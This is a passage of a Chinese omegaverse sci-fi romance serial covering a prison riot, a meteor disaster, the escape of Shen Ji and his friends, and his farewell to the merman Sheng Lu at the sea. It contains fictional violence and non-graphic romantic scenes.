久违的夕阳落在眼前，沈继的睫毛晃了晃，有点发晕。 这时候已经过去半个月，当时正是傍晚，所有犯人都已经准备休息。 沈继一进来，犯人们就兴高采烈地欢呼，大概是从禁闭室出来的犯人，都会受到这样的欢迎仪式。 雷伊和劳埃斯沙墨几人在房间里面喊他：“沈继！你没事吧？” 沈继道：“除了睡觉，什么事都没有。” 他目光流转，穿过一间间悬空的房间，看到了306号房的圣路。 omega张开嘴，伸出舌头，露出里面漂亮的糖果。 沈继知道他是故意的。 就这样，把底下的alpha给迷成智障，一顿发疯乱吼。 五颜六色的糖果接二连三地被抛到他单间里，都是从课堂上存下来的糖果。 或许，这种色彩缤纷的东西是犯人在监狱暗沉生活的一点安慰。 在经过半个月的禁闭生活后，他这么想着，怀疑自己睡得太久，有点神经质了。【你现在阅读的是魔蝎小说 moxiexs】 40-50 第41章 第四十一章 爱的偷窥。 他走进17号房, 艾里夫颇有些惊喜地看着他。 有沈继在，他的日子虽说并没有过得比之前更好，但至少西凯惧怕沈继。 这个小小的单间里, 有了能制约西凯的存在，在艾里夫看来，自己的处境就不是那么悲凉的。 西凯总有一天会成为一具尸体。 沈继的床就像上次一样, 堆满了西凯的杂物。 西凯以为沈继进了禁闭室，不可能再出来了，因此把这张床当做个人物。 他看见沈继进来，也只是故作强悍地双手抱胸。 但当沈继往他那里走一步的时候，他镇定的神态明显绷不住, 身体惊恐地向后缩了一下。 沈继笑了一下：“你没想到我还能活着出来吧。” 西凯垂下眼，喉咙动了动，眼神中隐含愤恨不甘，他站起身, 弯腰把放在沈继床上的那些东西一一拿开。 这种精神上的认输，无疑比打他一顿更难受。 艾里夫告诉他，第三区来了一个新的队长, 他跟多诺万属于半斤八两，甚至更可恶。 他擅长克扣食物, 从犯人的伙食中捞油水。 听说他之前在第二区，甚至私自抽取贩卖犯人的血液。 沈继对这些没什么在意，反正再过两个月, 他就要离开这里。 歌雅世界将发生大的变革。 第二天到底餐厅后, 沈继才明白，新队长对于伙食的克扣程度。 原本一盒半升的奶没有了，鸡蛋也没有了, 只有一份蔬果沙拉。 犯人们怨声载道：一大早上吃这个，会营养不良死掉的。 沈继发现，现在犯人们对于圣路的态度也完全变了。 以往omega的身边总围着一群赶不走的苍蝇，现在个个避之不及。 不知是因为被饿坏了而没有心思想别的，还是因为见识到圣路那让人望而却步的手段。 打好了菜，雷伊几人默契地坐在沈继旁边。 “沈继啊沈继，你还是活着回来了。”雷伊夸张地道。 沈继预见性地道：“别抱我。” 雷伊刚刚伸到半空的双手一顿，惊醒般看了看，没看到圣路的身影，这才连忙收回手。 “啧啧，太可怕了，你知道吗？” “怎么了？”沈继已经习惯了他的大惊小怪。 “你关禁闭这半个月，圣路大人心情不好，已经死了好几波了。”雷伊瑟瑟发抖。 “灰发帮的老大还没放弃杀他吗？” “现在？是放弃了吧，再不放弃，灰发帮都要改成秃头帮了。” 劳埃斯道：“现在监狱里盛传，圣路身上有魔性，妄图靠近他的人就会失去理智，疯狂自残，所以现在才收敛了不少。” 雷伊挑了挑那两块蔬菜：“末日早点来临吧。”他再也受不了这苦日子了。 他看了一眼沈继盘里的蘑菇，把自己盘子推过去：“嘿嘿，沈继，你不是不吃蘑菇吗？我可太爱吃蘑菇了，给我吧？” 沈继用木勺子把蔬菜沙拉里的蘑菇挑到他盘子里。 雷伊正要道谢，忽然背脊上炸了毛一样汗流浃背，毛骨悚然，他惊恐地往后看，远远地撞上了一双魔鬼的红眼睛。 以及那“温柔”的笑容。 心头一怂，雷伊差点没惊死在现场。 呜呜，谁懂啊，被好朋友的变态男朋友看上了，随时会被分尸那种。 他僵硬地收回盘子，收拾收拾桌面，一声不吭往劳埃斯边上狂怼过去。 在劳埃斯身边，才终于顿住了。 圣路坐到沈继身边。 沈继问圣路：“多诺万是怎么死的？” “我去的时候，他已经死了。” “居然不是你吗？”沈继有点惊讶。 圣路靠近他的耳朵：“亲爱的，你应该了解我啊，如果是我，我得先撕烂他的嘴巴，再一片片割下舌头，丢在草地上看蚂蚁们搬家。我可不会让他死的那么从容。” 沈继：“……”这倒是真的。 所以说，是雷伊他们做的了。 “瞧瞧我们的宝贝，走到哪儿都有人爱，走到哪都那么受欢迎啊，蘑菇真的不好吃吗？”圣路看着他，微微一笑，一口咬下勺子里的蘑菇。 他看着他良久：“你……吃醋了？” 他问出的问题带着迟疑。 在沈继看来，吃醋这个矫情的词汇，是无论如何也没办法跟圣路联系上的。 但如果说，“有杀气”“犯病”“又变态了”，这类神经质的词，就完全适合他。 圣路怔了一下，他缓缓放下勺子，气质中难得带着自嘲的伤怀：“倒不如说，我也可能喜欢吃蘑菇，你为什么不想着给我？” 沈继笑着看他：“喜欢蘑菇和喜欢我，你只能选一个。” “……” 圣路默默把盘子里的蘑菇挑了出去。 然后，他低下头，表达出无限伤感凄然的模样：“看吧，我又成为你的手下败将，仗着我爱你，所以你能为所欲为。” “还装？你本来就不喜欢吃蘑菇。”沈继道。 “是吗？你根本什么都不知道。”圣路伤感道。 “上次我看见你盘里就只剩豆芽和蘑菇。” 圣路惊喜地道：“你偷窥我了？” “……” “……” “上次一起吃饭的时候，我看见了。”他重复道。 圣路露出他经典病态的笑容：“那怎么不算是爱的偷窥呢？” 沈继捂住了脑门：“疯了吗？爱和偷窥这两个字怎么会组合在一起呢？” “为什么不可以呢？昨天晚上睡觉的时候，我看见你翻了两次身。” 沈继警觉，从角度来看，站在306号房的门口确实可以看到底下17号房的一部分。 圣路一手盖住眼睛，脸上泛起潮红，从指缝中露出莹莹有光的眼神：“因为爱你，才会偷窥，我记得你整理了一次枕头的角度……唔……” 一勺豆子拐进他嘴巴，堵住他的话。 “……死变态，快吃你的东西。”沈继狠狠道。 圣路眼冒爱心，把嘴巴里的东西咽进去，张开嘴：“啊～” 沈继挖了一勺蔬菜放进他口中，那点蔬菜沙拉几勺就喂完了。 圣路觉得这幸福来的突然，有点头晕眼花。 沈继觉得有必要澄清一下：“雷伊他们是我的朋友，不要误会。” 以沈继的性格，看起来不像是会特意为别人辩解的。 圣路微微一笑，故意说反话：“误会什么呢？宝贝，朋友之间这样抱来抱去不是正常的吗？虽然……” 他凑近他：“一个是Enigma，一个是alpha……” 沈继看着他。 在未来星际，朋友之间勾肩搭背这种表达方式当然很常见，但在十万年前的人鱼来看，或许有点超前了。 而且由于沈继之前一直装A，这其中也有他的责任，导致这个问题说来有点复杂了。 圣路揽住他的肩膀，故意说：“以后，我也会交到这样的朋友吗？” 沈继看着他，目光沉敛，没有说话。 “你生气了？”圣路一怔，心脏扑通扑通的跳。 沈继冷笑。 圣路气息微喘，白皙的脸颊迅速浮现潮红，并以一种夸张的速度淹没了耳朵，脖颈。 他甚至开始病态地回味，Enigma这样沉默冷酷地看着自己，也莫名地让他浑身舒畅，心脏收紧，肌肤颤抖。 沈继真的快被他气笑了：“变态，克制一点。” 圣路脸红气喘，声线荡漾：“是你先勾引我的。” “……” 附近的犯人都在看着他们。 “妈的，秀恩爱不能回家去秀吗？” “家？哪有家？来这儿的都没有家。” “你也要再捅我一刀吗？” “这么恩爱，该死的。” “啊啊啊，被关监狱已经很苦了，为什么要让我们受这种折磨？” —————— 由于早餐清淡苛寡，不到两个小时，犯人们就饥肠辘辘。 上课的时候，甚至开始向老教师索要糖果，原本对糖果是没那么期待的，但糖分这东西在饥饿的时候，是如此有诱惑力。 那慈祥的老教师缓缓道：“抱歉，这个月的糖果已经没有了，我得向迪兰思先生申请一下。” 迪兰思就是新来的队长。 那家伙似乎知道自己犯了众怒，一直没有出现，都是让手下的狱警拿着电棍出来维持秩序。 一些有钱的犯人可以高价向狱警购买食物，没钱的只能硬挨了。 操场上，犯人们更是无精打采，别说活动了，连走都不想走。 前面是犯人们诅咒哀怨的痛骂声，阳光穿过攀爬架后的墙壁，在无人光顾的幽暗处，两道影子静静地藏匿在阴影处。 那条被废弃的两阶置物凳上，上面已经像草地一样长满了柔软的花丛，圣路坐在上面的时候，压弯了花茎。 他双手抱住沈继的身躯，Enigma稍稍低头亲了亲他的嘴唇。 “不要，我要舌吻。”圣路把舌尖抵在牙齿前端，露出一点柔软的红色，凑近他。 还没开始吻，omega就兴奋得眼睛发亮，脸色通红。 沈继捏开他下巴，看见他张着柔软的嘴，明晃晃地等待亲吻的样子，一点不知道收敛，但是又可爱极了。 “别着急。”沈继抵近他脸庞，对视的光洞穿了彼此的眼眸。 手指尖从他耳朵下滑过，穿过白色的发丝，托住他脑袋。 圣路更激动了，呼吸急促起来，眼神涌上一层迷蒙的快·感。 “快点……”圣路的唇动了动，放在他后背的双手沿着脊骨上移，准备抱住他的脑袋吻向自己。 “别动。”沈继轻声道。 “……求你了，接吻也行。”圣路都快急红眼了，虽然眼睛本来就是红的。 再等下去，马上就要集合罚站了。 沈继倒不是故意想让他难受，但是看他那种焦急难耐的样子，又觉得有种意外的满足感。 难道他也被传染成变态了吗？ 最后，圣路还是如愿以偿得到了想要的舌吻。 第42章 第四十二章 忍耐一下。 那天早上, 监狱里发生了一次暴·动，被饥饿冲昏头脑的犯人们在活动室偷袭了两名狱警，抢了狱警的电棍, 用暴力敲打防爆门和密码锁。 警报声疯狂作响。 犯人们发狂的时候，活动室另一边的角落里，柏堡四人组正在沙地上规划各种逃跑路线。 劳埃斯用树枝在地上画出沼泽监狱的地下管道分布图。 雷伊扔掉嘴边的一根花芯：“饿死了, 这花芯怎么不甜啊？我脑子转不动了。” “早知道，当时把多诺万打个半死算了，也免得队长换人。”劳埃斯也道。 这时候，沙墨拿出四块巧克力：“我买了四块，咱们一人一块。” “你哪里来的这么多钱？” 要知道, 狱警那里的东西贵的离谱，沙墨一口气买了四块巧克力，可见其豪阔。 “上次的晶币，我还剩一点。” “宝宝你是天使啊！”雷伊颤抖着手吃完巧克力, 立刻活力无限地抱住沙墨。 沙墨差点被他勒晕。 沈继收到的那块巧克力，被他放进了口袋里。 这时候，活动室前面传来疯狂的呼哨声和嘈杂的欢呼声, 伴随着警报声。 雷伊后知后觉道：“等等，灰发帮和黄发帮那些家伙之前说要暴·动造反。难道是今天！” 沈继立刻起身向活动室前方跑去。 “沈继你去哪？” “我要去找圣路！” 如果真的暴·动, 一定会有人浑水摸鱼，在这上千个情绪失控的alpha中，身为omega的圣路太危险了。 但在雷伊几人眼里, 大恶魔不杀别人就是世界和平的一天了。 雷伊啧啧称奇：“真是当局者迷吗？” 活动室的范围不小, 沈继穿过前边的走廊，一路上看见犯人们无差别地打砸器材，用工具砸向厚厚的防爆窗, 各种碎片撒得满地都是。 所有的犯人们都跟发了疯一样。 沈继看见那两个狱警已经被犯人们打死了，制服上满是血迹，躺在地上，一动不动。 另外一些平时有私仇的犯人也开始互殴，活动室已经变成混乱的地狱。 沈继第一次有这种感觉，他为另一个人担忧，为另一个人害怕。 他在一排固定的攀爬架后发现了几具尸体。 一双红色的嗜血的眼睛在幽暗中格外冰冷。 沈继站在了原地。 圣路也在杀人。 他的双手沾染了鲜血，他的耳鳍不知道什么时候冒了出来。 脚下躺着几具尸体，一个尚存气息的犯人惊恐地向他伸出手。 沈继认出他，居然是他的那个室友西凯。 沈继的出现显然是出乎圣路意料的，他的身躯猛然僵硬着，眼神略显惊愕，他抬起沾染血色的手，摸了摸自己的耳鳍。 在脸上留了鲜红的血滴，那些都是犯人的血。 沈继走过去：“你没事吧？” 当他说出口后，才反应过来自己居然问出了如此多余的话。 圣路摇摇头，耳鳍随着幅度轻微动了动，异常的安静。 这种安静非常地不对劲，但现在根本没空管这些。 门口的狱警已经拿枪向活动室内部压近。 越来越多的犯人向这边涌了过来。 沈继抓住圣路的手，拉着他到洗手间清洗了手上和脸上的血，衣服上的几滴血迹用冷水洗掉了。 圣路坐在洗手台上，垂着眼眸看着沈继为他洗掉裤脚上那些罪孽的血迹。 “我这样子，你不会觉得反感吗？” “什么？你那两个小扇子吗？” 圣路的手心顺着脊骨抚过他微弯曲的背脊：“我是说，我在残杀你的同类。” 沈继感觉背脊上的手像一条蛇一样，时不时地吐着信子，有点丝丝发凉。 “我看见了，而且，用人类的说法，我正在帮你毁灭证据。” “我看起来很恐怖吧。” “我又不是第一天认识你。”沈继心想，在之前我就已经见识过你那更可怕的一面了。 不过，在圣路心里，大概是第一次被自己撞见杀人进行时。 难道就因为这个而感到不适？ “自从知道那条幼年人鱼被送到D国之后，我就像病了一样，不断地想杀人，就算他们只是说了几句难听的话，都会激起我杀戮的欲望。” “那，西凯呢？你杀他做什么？” 据他所知，西凯这家伙还没冒犯过圣路。 “他最该死了。” “他怎么了？” “我看见他把脏衣服和袜子放在你的床上，在你关禁闭的时候。” “那……确实该死。”沈继就着他白皙的脚踝边，拧干了他裤脚上的水珠，抻平了湿润的褶皱。 “知道我真面目的人类都会害怕我，你也是人类，不是吗？”圣路双手向后撑在洗手台的瓷砖上，歪着头看他，露出试探的笑意。 “算了吧，我又不是什么好人，我也不研究那些道德底线。” 沈继甩了甩手上的水珠，从上衣口袋里掏出了那块巧克力给他。 圣路把上面包裹的薄锡纸拆开。看见里面的巧克力。 “这是什么？” “巧克力。” 圣路咬了一口，黏腻又丝滑的口感。 他第一次吃人类的巧克力：“好吃。” “所以你只有一块？” “我不喜欢吃甜食，尤其是巧克力。” 沈继完全没有谦虚，巧克力这种东西不论甜的还是苦的，都有种发腻的味道，入不了他的味蕾。 但圣路的口味偏向甜腻的柔软的。 “才不是，你只是太爱我了。”圣路手捧着自己发红的脸蛋，露出他经典的变态的笑容。 完全牛头不对马嘴。 沈继觉得也不是很爱：“……一点点吧。” “是的，你就是太爱我。” 那块巧克力有食指那么长，圣路坐在洗手台上吃了两口，到最后一口时，用那双洗干净的手捧住他的脸，吻住他。 巧克力的味道就从圣路的嘴边渡过来，带着呛口的甜腻。 他真的不喜欢巧克力，现在被他在口中一顿搅和撩舔，感觉更甜得受不了了，太甜太腻了。 圣路还用牙齿轻轻扣住他唇内的软肉，把巧克力推过去，硬要他尝尝那味道。 沈继没打算跟他推来推去，就把那点化得差不多的巧克力吞咽进去。 趁着这个空挡，圣路正好居高临下地压紧吻，他双臂环抱搂住他的脑袋，舌头完全抵住他口腔，疯狂实行掠夺。 彼此的呼吸炽热，圣路闭上眼睛。 他的耳鳍动了动，闪耀出银蓝的光泽。 洗手间外的走廊，犯人们疯狂打砸，发出野兽一样的吼叫，狱警们在外面鸣枪警告，犯人们的暴力让这个晨间的阳光覆盖了一层梦幻的粉色。 狱长和第三区的区长亲自降临，越来越多的狱警从另外两个区调来。 上面还派遣了一队特警前来支援，闹事的领头人隔着铁丝网被第一个击毙。 外面的犯人们还在负隅顽抗。 没有人知道洗手间内的两个犯人正在接吻。 就算有人拿器材狠狠砸在洗手间的大门上发泄，也不会影响到他们…… “你的扇子戳到我了。”沈继退开他的吻。 圣路把耳鳍收回去，情急难忍地接着凑过去吻他。 沈继抱住他，圣路就顺势把双腿放在他腰上，重心倚在他身上。 “和我做，快点。”圣路咬住他的耳朵，将身体压在他身上。 平时放风只有十几分钟，而且常有狱警巡视，两个人就算见面也只能偷偷接个吻，摸一下身体，根本没有办法做全套。 每每在□□焚身想要更进一步时，就会有狱警或者犯人打搅。 今天这种机会，简直千载难逢。 omega的信息素如同潮起的水幕，沈继的身体就像沙滩一样，这些潮水刁钻地涌入他的细胞。 这种无法抗拒的气息，是在实验城里被培养了几十年的成果，出现的一瞬间就能攫住任何人的心跳。 沈继觉得打信息素封闭针，才是监狱里面最切实的酷刑。 既不能畅快地释放，又无法彻底断情绝欲。 就像现在这样，他的信息素被封闭了，无论omega如何引诱，如何撒娇，就是没办法标记他。 这实在是一种折磨人的不可抗力因素。 但对圣路而言，就更难受了，他的第一颗扣子被解开，脖子被Enigma咬出红印，但是，不行，不满足。 “不止这个，我还要……我要你的信息素。” omega的呼吸急促，身体在他怀抱里扭动。 同时双手像蛇一样缠绕进他衣角，肆无忌惮捏揉他的身躯。 他有点失控了。 “这可不行，你先忍耐一下。”Enigma冷静地说着。 圣路气坏了。 沈继在这种时候，总是让他特别讨厌的保持那一丝清醒。 他狠狠地在他肩膀上咬了一口。 第43章 第四十三章 末日逃离？ 最让所有人想不到的是, 第一颗陨石灾难就在这时降临了歌雅星球。 当犯人们还在和狱警抗争的时候，脚下的大地发生了颤抖的哀鸣。 一声嘹亮的防空警报响彻云端，全世界拉响了最高的应急防御。 狙击手射出的一颗子弹, 原本只是做威慑手段，却因为这突如其来的颤抖，产生了偏移。 子弹击中了一个犯人的脑袋, 鲜血迸溅在玻璃上，冲击着犯人的视线。 不仅没有起震慑作用，反而使人们更疯狂激动地吼叫起来。 “妈的！他们要打死我们！” “他们要开枪打死我们！” 在犯人们推涌的浪潮下，防爆玻璃终于被打破。 而此刻，与他们所在的相对的另一半星球, 那颗神秘出现的陨石撞击在大海中。 随着一声巨大声响，所有人只感到耳朵在短暂的失聪后，产生剧烈的耳鸣。 一场更强大的风暴降临了世间。 由于地面产生的影响，十几座活火山被同时激活, 岩浆喷发，火山灰迅速弥漫天空。 同时引发了海水倒灌，城市淹没。 就算是在南半球的沼泽监狱也遭受了影响。 整座第三区大楼几乎倾斜了15°。 “是地震了吗？” “见鬼了！” “你们看到了吗？刚刚有什么东西从天空划过！” 第一颗陨石的出现几乎是神秘而致命的, 太空军方面没有任何探测器能探测它的轨迹，也就没有做出该有的预防和准备。 这场灾难对于当时还处于太平盛世的歌雅世界, 带来了巨大的伤害。 据说这次，几乎使整个北半球陷入末日。 歌雅有四分之一的人类死于这场灾难。 沈继拉着圣路走到通道，透过玻璃看到窗外的天空在极速变暗。 像蚊子一样的虫子乌泱泱地布满了天空。 “难道, 第一颗陨石已经落地了。” 这么说, 现在正是逃跑的好机会。 在人们陷入恐惧慌乱的情绪时，圣路站在窗户下，感受大地颤抖, 反而露出了兴奋的笑容：“这该死的世界终于要灭绝了。” 沈继：“你个疯子，跟我来。” 为了逃离沼泽监狱，他们早就定好了几个方案。 但沈继猜测，劳埃斯他们肯定会选第二个方案。 在活动室后面的一小片空地里，有一个下水道井口，用水泥封得死死的，但早就被他们撬了一个小口。 到达的时候，劳埃斯几人果然已经在那里等着了。 “快点，就等你们了。” 没有工具，就只能用精神力撬开这个井盖。 当他们费尽心思撬开了井盖：“啊，糟了，这下面，有……有锁！？” 一个十字锁链链接在井盖和井道口。 “果然啊，越狱没有我们想的那么简单！”沙墨道。 圣路只是看着他们，一言不发。 沈继看向劳埃斯：”我们用精神力试试。” 两个人用精神力牵住锁的两端，各自往相反的方向拧动，硬生生将锁头拧断。 终于掀开井盖，几人依次跳了进去。 轮到沈继的时候，他回头看向圣路：“走啊。” 圣路低头：“你要去哪里？” “当然是越狱，难道你要永远在这里吗？” 其实圣路倒是希望能永远在这里。 他有一种预感，出了这个监狱，沈继又将消失在他眼前。 至少，在这里，沈继还是属于他的。 “所以，你也要离开我了。” 他还在那里凄冷地感慨，沈继直接把他拉进井道里了。 菲诺机舰就在监狱最外围的停机坪。 平时这里壁垒森严，守卫严密，基本上没有可攻防之地。 现在，监狱的警力全用来压制暴·动，再加上突如其来的陨石也让全世界陷入恐慌。 所有人都以为世界末日来临。 就算他们现在在监狱长眼皮底下逃跑，对方大概也没心思管他们了。 不过，在菲诺机舰旁边，他们遇到了另外穿着狱服的几个犯人。 标志的短发和星际人长相，尤其是那几张不可一世的脸，让劳埃斯几人都怔了好一会儿。 这是和他们一同穿越歌雅的联邦军校的学生。 这时候，那几个学生也转头看他们。 双方都从对方眼里看出了惊愕。 “是你们！” “啊……这些家伙不是……” 两方同时开口。 沈继看见，对方几个人的裤脚也湿了。 看得出来，他们也是刚刚才从监狱的下水道里逃跑出来，也是打算搭载菲诺机舰逃跑的。 这些家伙几乎跟他们打的同一个算盘。 不同的是，联邦的几个学生不在第三区，可能是被关押在第一区。 因此他们现在才见面。 “不好意思了，菲诺机舰是我们先来的。”对方的小队长先道。 “知道不好意思，就不要来抢啊。”雷伊冷笑。 对方：“诶？什么叫抢？这东西也不是你们的。” “哼哼，不如比一比，谁能先破解机舰的启动密码，这就是谁的。” 联邦几个学生都面色铁青，谁都知道，柏堡军校的沙墨，是破解密码程序方面的天才。 这么比，谁都知道输定了。 劳埃斯也知道现在不是对立的时候：“好了，别比了，我们一起离开，菲诺机完全够容纳我们这些人了。” “好，出了这片地界，我们就各自分道扬镳。” 反正大家的问题只是想要出沼泽监狱，只要出了这里，就能和穿越仪器连接上信号。 大家暂时达成一致。 沙墨很快破解了启动密码。 “那么，谁会开菲诺机舰？” 如果说是星际未来的战舰，身为军校生的他们都不在话下。 但歌雅的菲诺机舰是歌雅的高级机舰，而且显示屏也全部都是歌雅的专业术语。 那联邦的小队长为了这次逃亡，实际上也暗自做了功课，包括菲诺机舰的具体操作，他也在脑海中模拟了无数遍，正要等众人开口让他一试。 但沈继已经坐上驾驶座：“我会。” 这让他怔了好一会儿。 联邦一个学生小声吐槽道：“又是沈继吧，这么信誓旦旦，可别说大话闪了舌头。” 他说的很小声，几乎只有自己听到，但忽然背脊一凉，浑身僵硬，头皮发麻，好似一条毒蛇正在他背上。 他鼓起勇气目光移动， 只见圣路正站在他左侧两步距离，直勾勾的恐怖眼神看着他，什么恐怖的东西冲击他天灵盖。 脑海里猛然嘶地一声像煤气罐一样炸开，警铃大作。 雷伊偷笑，这种感觉终于有人懂了吧。 于是众人就这样登上了菲诺机舰。 在受陨石撞击，尚且摇动的地面上，菲诺机舰展开了双翼，平稳启航，飞向空中。 那位小队的队长坐在副驾驶上，看着沈继从善如流的操作。 他双目盯着机台前方前方平稳划过的天空和森林，双手紧握着旁边的操作杆，眼中流露出一丝苦涩。 他也是联邦独一无二的天之骄子，在这次实验中，也是学校寄予厚望，用来对标沈继的存在。 来之前，还曾信誓旦旦说要在这次歌雅实验中胜过柏堡，胜过沈继。 但如今才知道，自己和沈继，在各方面的差距有多大。 就光是那份果敢的自信和松弛，他就已经输了。 这次如果顺利回到星际世界，同时军校生的他们，以后一定还会在星际战场上遇见。 到时候，自己还能是他的对手吗？ 联邦还能是帝国的对手吗？ 机舰座舱内，左边一排，联邦和柏堡两方学生坐在一起挨挤着，气氛意外地“和谐”。 圣路就坐在对面空荡荡的一排座椅上。 那微笑着的侧脸，比极地雪山的雪还冷，那轻瞥过来的红色视线，比恶魔的血还渗人。 联邦学生瑟瑟发抖，轻声道：“他一向都这么笑的吗？” 沙墨：“沈继不在的时候，好像是这样的。” “那沈继在的时候呢？” 沙墨也说不上来：“就……就好像……” 劳埃斯一语中的：“沈继在的时候，就只是个纯粹的变态。” “对对对！”沙墨猛猛点头。 雷伊猛的打开驾驶舱的小门：“沈继，要不，让我来开，你去后面坐。” “怎么了？” “让我们单独和恶魔在一个空间，你忍心吗？” 他们现在简直就像恶魔盘里的食物，灵魂正被大快朵颐，毫无安全感啊。 沈继向显示屏的机舱监控画面撇了一眼：“这不是在笑吗？“ 他指的是圣路。 “笑和笑能一样吗？这是变态杀人魔的笑～”雷伊抖着舌音道。 沈继：“……” 菲诺机舰速度极快，但也是半个小时后才逃离了能量沼泽地带。 越靠近北半球，天空的颜色越是灰暗，此刻火山灰已经布满天空。 底下的大海狂狼奔涌，海水灌进了大陆城市。 天空像破了一个洞，瀑布从天上的洞里倒下来。 大树倾倒，蝴蝶在狂风暴雨中挣扎。 他们所在的这片洲陆，已经有一半的陆地被淹没。 这还是边缘地带，更遑论那陨石的中心地带，早就毫无生命了。 劳埃斯联系上了导师。 联邦学生那边也联系到了他们的学校。 现在他们可以回到星际时代了。 沈继将机舰停在了一片空旷的安全地带。 联邦的学生下了机舰。 雷伊他们也下了。 “沈继，你呢？你不下来吗？” 沈继表示，他还有事情要做。 “那你不跟我们一起回去了？” “等我一天。” 在离开歌雅之前，他要送圣路到一个安全之地。 现在的情况已不同于上次，这一次是陨石撞击造成的天灾，大部分生命都受影响，不是个人的能力所左右的。 沈继打开了导航，开往了南半球的另一个国度，按照卫星显示，那里有广袤的森林，而且还没有被陨石灾难波及。 第44章 第四十四章 说错话了。 歌雅的南半球有广袤的森林和丰富的矿物质, 这里的国家大多富饶而自由，生活着四分之三的人类。 在靠近A国的森林另一端，有一条绵延的海岸线。 为了慎重, 沈继把机舰停在山脉下，再和圣路转乘悬浮地铁前往沙滩。 整个城市空荡荡的，人们听到防空警报后, 大概都去地下室避难了。 只有自动驾驶的悬浮地铁还在运行。 地铁内空无一人，圣路看见路边的摩天轮，旋转木马，路边飘扬的气球。 “那东西，我也曾经给那个孩子买过。” 沈继顺着他的目光看过去：“是气球。” 至于“那个孩子”, 想必就是那个给了圣路希望和念想的人鱼幼崽。 “没错，虽然才四个月，但看得出来，他特别喜欢那东西。”圣路闭上双眼, 嘴角轻轻颤抖地笑起来。 沈继为此感到惊讶，圣路这样杀人不眨眼的家伙，居然会为了一个孩子念念不忘, 这真是和他变态冷酷的性格不符。 “沈继，我希望这世界还是毁灭吧, 陪你一起死，也是很难得的。” 那只白皙而骨骼略宽大的手按住他肩膀，用了暗劲压住他肩膀, 像在克制着某种欲望。 “现在, 我还不想死呢。”沈继坐在那里都快睡着了，声音轻微。 反正，他也没有多少时间了。 如果没办法让圣路离开他体内, 他确实活不过二十岁了。 人类擅长刻画美丽童话，再破坏一切。 他和圣路最亲密的时候，甚至能让他咬自己的喉咙。 但，本质上，他们就是你死我活的关系。 圣路依附在自己身体内吸取精力，无异于是在牟取他的生命，而自己也曾致力于杀死他。 不过现在，一切都无所谓了。 “人鱼灭绝，你离开我，这两件事都让我想起死亡。”圣路这样说，却那样病态地笑起来。 “人鱼什么时候灭绝了？你有那么纯粹的人鱼血脉，完全可以自己生一窝。”沈继提醒他。 圣路停下了笑，那灰暗的想要和世界同归于尽的眼神，他的眼眸映着飞驰而过的一切，忽然亮了起来，像穿破黑夜的那片朝阳。 “不过，你一百多岁了，在人鱼中属于是高龄妊娠吗？”沈继闭上眼睛。 昨天到现在还没睡，他得好好睡一觉。 但圣路即将与他分别，他又不能完全将这最后短暂相聚的时光完全抛弃。 所以他还想强迫提起精神来。 一阵沉默，只有悬浮地铁上循环播报的声音。 就在沈继即将陷入美好的梦乡，领子被人猛然拎了起来。 一双温软的嘴唇狠狠亲他，唇齿被不可思议的热烈温度裹挟。 一双手按住他的肩膀，摩挲到他的脖颈。 静谧的空间里，他感受到人鱼的心跳在剧烈跳动。 圣路切切实实地亲了他一口，然后按住他后颈，在Enigma的腺体上咬了一口。 沈继任由他做完这一切：“又变态了吗？” Enigma的腺体是没法标记的，最多也只能在上面留下一个牙印。 何况他现在信息素封闭，也没有信息素给他。 尽管这么说，但语气中也没有任何责备和不悦之意，只有一丝笑意和掩盖不住的困顿睡意。 “不是。” “什么？” “人鱼的生育期，可延续两百年，所以我说我不是高龄妊娠。”圣路在他耳边，嘴唇贴在他耳边。 沈继后知后觉地猛然惊醒，默默地转过头看他。 两个人视线仅有一掌距离。 圣路盯着他，眼神极其坚定。 糟了，自己刚刚说了什么？ 然而圣路坚定的脸色维持不到一分钟，在一丝兴奋的眼神泄露后，还是露出了经典病态的笑容。 “你提醒我了，你的精子很好，给我吧。“圣路的手抵住嘴唇，掩饰不住颤抖的兴奋声线。 沈继：“……” 说错话了，说错话了。 关键是，他跟圣路也生不了啊。 两个人真实的年代，隔了整整十万年。 圣路把他扑倒在座椅上，扯开他的衣服。 “变态，这地铁上有监控。”沈继看着那头顶上那个移动的监控。 这地铁上虽然只有他两个人，但监控却是会实时收录的。 “啊？真的吗？变得更刺激更爽了，宝贝……”圣路脸红，气喘，抵在他身上，浑身发抖。 “疯子……” 他怎么能用正常人的思想看待圣路呢。 “嗯嗯，我是疯子，主人，让疯子好好爽一下吧。”圣路隔着衣服咬住他胸口。 沈继抬起他的脑袋，和他接吻。 两人亲吻了一会儿后便直奔主题，几乎就要见真章了。 “请乘客不要在地铁内做不雅行为。”一个机器人迈着轮子滑了过来。 “……” “……” 一条怪物鱼出现在空气中，张开大口直接把机器人咬了一半，裸·露的电路芯片咔咔直冒烟。 两个人继续接吻。 就在这时，地铁播报声音不适时地响起：“XX沙滩站到了。” “……”圣路脸色铁青。 沈继哄他：“走吧。” —————— 海韵潮息。 圣路站在沙滩上，这片大洋没有受陨石撞击的影响，海面上风平浪静。 自从被捕猎到实验室后，他已经几十年没有再看见大海了。 “你就带我来这？” “我想不出比这更安全的地方了。” 据他所知，这之后，人类还会爆发一次严重的内乱，社会动荡不安，犯罪率极速飙升，对于人鱼来说，大海反而是最安全的。 就算是各国政府内部，也都有大规模的暴乱事件。 清凉的海水缓缓淹没他的脚踝，当那冰凉的水面随着浪花迫不及待地涌向他膝盖时。 那种暌违多年的感觉沁润了他的心脏。 沈继看见圣路像一条迷失的风筝，被风轻轻吹着扎进了海里。 当他再次冒出水面时，显出了他身后那条华丽轻盈的尾巴。 那身囚服被脱去，银白的长发服帖在他背脊上，浪花轻轻拍打他的头发，耳鳍也显现。 无边无际的大海才是人鱼的归宿。 沈继站在浅水处，人鱼像之前那样，在他身边游动着。 “好了，我该走了。”沈继知道自己不能再留了。 他竟然也开始深切地感到那种强烈的不舍了。 “你上次说的，下次见面，可能会杀我，还算数吗？”圣路问他。 “难道你很希望我杀你吗？” “如果有下一次的见面，那就算是杀我，也可以。” “疯子。”沈继笑他。 这时候，圣路惊讶地看见沈继的身体在逐渐消失。 这是穿越仪器已经启动。 在临别之际，他看见圣路那迷茫而惊骇的眼神。 “别伤心，我会再找你的。”他只能用苍白的语言安慰他了。 第45章 第四十五章 二叔沈衣。 柏堡四人组已经安全从歌雅回归, 但是，歌雅实验还没有结束。 宇宙弦还没有消失，穿越仪器还可以再启动。 现在, 导师给了他们两个选择。 第一方案，穿越实验终止，所有人将得到国王的赏赐, 毕业后进入机甲部，担任上校级别的军官。 第二方案，继续进行穿越实验，完成最终任务获得国王的赏赐，如果能活着回来, 